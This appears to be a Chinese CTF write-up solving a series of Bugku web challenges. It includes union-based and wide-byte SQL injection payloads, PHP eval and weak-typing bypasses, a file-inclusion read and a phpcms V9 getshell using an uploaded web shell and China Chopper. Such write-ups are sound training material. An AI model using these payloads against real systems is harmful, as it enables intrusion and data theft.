view-source:查看源码即可
上传一个PHP文件发现他要的是图片文件,抓包先改一下content-type为image/jpeg,Go一下发现flag
F12调出开发者工具,把maxlength改为更长的长度即可
完全就是考php基础,直接URL加上index.php?what=flag即可
用Hackbar post数据即可
利用了==的弱类型,然后令num=1e,get上去即可绕过
停止之后,查看源码,最后发现了Html的编码,直接python跑一下即可
查看源码发现是宽字节的注入
从报错可以猜测语句是select * from ** where id=’input’
注意key的双引号
payload:?id=-1%df'union select string,2 from `key` where id=1 --+
代码里面是数字型的注入
查看代码里面的strip_tags函数是返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果,可以利用这个特性去过滤
payload:
?id=-1 uni<>on sel<>ect 1,hash fr<>om `key` where id=1--+
读一下代码eval函数是执行代码的,而var_dump函数是把所有变量的属性给显示出来的,flag在flag.php里面那么我们就构造file函数传参给hello
payload:http://120.24.86.145:8003/?hello=file(%27flag.php%27)
这题还有其他方法
比如:
http://120.24.86.145:8003/?hello=$GLOBALS
利用了全局变量
http://120.24.86.145:8003/?hello=);show_source(%27flag.php%27);//
利用了eval执行函数去闭合var_dump函数
这里有个正则表达式,没啥影响,发现出现了$$的变量,直接用全局变量$GLOBALS即可,payload:?args=GLOBALS,进而构造出var_dump($GLOBALS)
查看源码发现有url编码,解码后观察代码,发现password为67d709b2b54aa2aa648cf6e87a7114f1,提交之后得到key
查看源码发现里面有JSfuck,解码一下,得到flag,记的提交的时候全大写。。。。
进去之后点击,发现url上面有file参数,就想到了php里面的file协议,用base64转码把index.php里面的内容读出来,再解码,得到flag
5位数,用python写个字典
f=open('5位数.txt','w')
for i in range(10000,100000):
print i
f.write(str(i))
f.write('\n')
f.close()
右击审查元素,发现只要clicks参数大于1000000才会出现flag,在控制台里面输入clicks>1000000的数字即可,记得最后还要点一下才出现flag
查看网页源代码发现里面有一个code.txt打开一看原来是代码审计问题
利用了==弱类型以及strcmp()函数,它无法处理处理数组
这里有两个MD5后可以弱类型截断的
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
关键payload:
?v1=QNKCDZO&v2=s878926199a&v3[]=1
一个简单的SQL注入题没有过滤,输入单引号不回显,再加一个注释回显,便猜测SQL语句应该是
select * from **** where id='';
用hackbar去post数据
先二分法看有几列 id=1’ order by 4#
验证四列到底怎么显示 id=-1' union select 1,2,3,4 #
这里id=-1,是为了让前面的语句为空,让后面的语句回显
爆库 id=-1' union select 1,2,3,database() #
就一个数据库
爆表 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#
两个表分别是 fl4g,sc
肯定是fl4g表,接下来爆字段 id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' #
爆内容 id=-1' union select 1,2,3,skctf_flag from `fl4g` #
还是利用了sha1不能处理数组的特性。。。。。。
下面是payload
目录下发现robots.txt,里面有一个目录
于是就到另外一个目录看一下,发现下面有行字,
又想到提示里面的管理员,猜测密码可能是admin或者是administrator,尝试第一个的时候就对了
这是我第一次尝试这样的漏洞。。。。。
先百度一下,发现phpcmsV9存在前台注册页面存在getshell漏洞,
先用bp抓包,
在最下面的post数据里面加上&info[content]=
这里面的链接是Bugku论坛里面的现成的小马,当然你也可以自己写一个。。。。。。
然后复制go之后返回数据包里面的链接,也就是右边的箭头,用菜刀链接。。。说起这个菜刀这工具,这是我第一次真正用它实操,以前我都是看视频看别人用的。。。 ̄□ ̄||
连接之后在根目录下找到flag的图片,放进HXD里面就能找到flag了。。。。
啊,还有一种方法是直接用bugku论坛里面的getshell工具,自动出来shell地址,然后菜刀链接那个地址即可
说起来我还是喜欢上面的方法,复现一下也蛮好的。。。。。。。。